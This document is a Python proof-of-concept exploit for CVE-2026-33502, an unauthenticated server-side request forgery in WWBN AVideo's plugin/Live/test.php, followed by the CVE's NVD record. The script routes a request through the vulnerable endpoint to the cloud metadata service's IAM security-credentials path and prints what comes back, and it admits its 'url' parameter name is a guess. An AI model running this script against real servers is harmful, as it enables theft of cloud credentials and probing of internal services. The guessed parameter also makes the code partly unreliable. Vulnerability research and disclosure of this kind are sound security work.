CVE-2026-33502

# PoC for CVE-2026-33502 (WWBN AVideo SSRF) # Target: WWBN AVideo <= 26.0 import requests def check_ssrf(target_base_url): """ Exploit the SSRF in plugin/Live/test.php to probe internal services. """ # The vulnerable endpoint vulnerable_url = f"{target_base_url}/plugin/Live/test.php" # Payload to access internal metadata or a local service # Example: AWS Metadata service or a local admin panel internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Note: The parameter name 'url' might vary based on actual source code logic, # but 'url' is standard for SSRF vulnerabilities. params = { "url": internal_target } try: print(f"[*] Sending request to: {vulnerable_url}") print(f"[*] Testing internal access to: {internal_target}") response = requests.get(vulnerable_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful! The server responded with:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_ssrf(target)

{"cve": {"id": "CVE-2026-33502", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:51.653", "lastModified": "2026-03-24T17:01:02.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, una vulnerabilidad de falsificación de petición del lado del servidor no autenticada en 'plugin/Live/test.php' permite a cualquier usuario remoto hacer que el servidor AVideo envíe peticiones HTTP a URLs arbitrarias. Esto puede usarse para sondear servicios localhost/internos y, cuando son accesibles, acceder a recursos HTTP internos o puntos finales de metadatos en la nube. El commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}